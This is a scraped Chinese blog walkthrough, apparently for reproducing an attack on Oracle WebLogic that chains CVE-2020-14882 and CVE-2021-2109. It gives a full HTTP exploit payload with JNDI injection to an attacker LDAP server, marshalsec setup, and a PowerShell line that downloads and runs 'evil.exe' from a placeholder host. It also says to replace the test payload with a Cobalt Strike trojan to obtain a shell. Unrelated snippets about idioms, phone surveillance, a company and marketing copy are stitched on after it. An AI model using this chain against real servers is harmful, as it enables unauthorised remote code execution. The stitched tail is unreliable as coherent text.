参考:
https://blog.csdn.net/zhlh_xt/article/details/76436807
下载链接:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
开始安装:
| Java -D64 -jar wls1036_generic.jar |
| C:\Oracle\Middleware?projects\domains |
设置密码
搭建完毕
访问目标:
准备工作:
ldap包下载 https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
构造java包进行编译:Request.java
如想上线CS把calc.exe修改为下载cs木马并执行命令
cd https://www.freebuf.com/Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile('http://vps/123.jpg','evil.exe') & evil.exe
进行编译:注意目标环境是什么jdk就用什么jdk版本进行编译
编译好class包后上传到vps
开启http服务,下面放编译好的class包
用下载好的marshalsec包开启ldap服务:
通过burp请求:配合
CVE-2021-2109(ldap远程代码执行)和CVE-2020-14882(未授权访问)
完整数据包:
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22;ldap://vps:5005/Request;AdminServer%22) |
cs接收shell
限制条件:目标可以出网,能够成功构造和发送包
八斗是南朝诗人谢灵运称颂三国魏诗人曹植时用的比喻。他说:天下才共一石,曹子建(曹植)独占八斗,我得一斗,天下共分一斗。后来人们便把才高八斗这个成语比喻文才高超的人。 故事概要:南朝宋国有谢灵运,是我...
手机会不会被窃听? 1、从技术角度来看,手机主要存在以下几种风险被监听、远程控制和定位跟踪:系统漏洞和恶意软件:手机操作系统或应用程序可能存在漏洞,黑客可以利用这些漏洞来实施监听、远程控制或定位跟踪。...
长春欧亚集团公司怎么样,长春欧亚集团股份有限公司。 1984年春的一天,28岁的曹和平披着件军大衣、骑着辆“二八大杠”前来长春市百货公司第四商店报到。上世纪80年代的长春,改革开...
滴露是我们比较认可的一个品牌,旗下产品主打杀菌除菌,效果非常不错,滴露家的沐浴露也是小编的日用,觉得还是挺好用的,关于有毒有害这些东西,完全是不存在的。...
很多小伙伴可能跟小编一样,有随手清理手机内存和微信记录的习惯,尤其对于我们这些手机内存本身就不大的人,有时候可能清理的时候不小心误删了非常重要的聊天记录,小编的一个朋友就因为手误删除女朋友微信记录,而...
最吸引人的护肤品软文(吸引人的护肤品文案) 伴随着互联网营销的持续推动,互联网软文推广的方法早已不可以考虑互联网营销的长期性发展趋势,互联网品牌营销慢慢发展趋势起來。这类多种优点的互联网营销将互联网...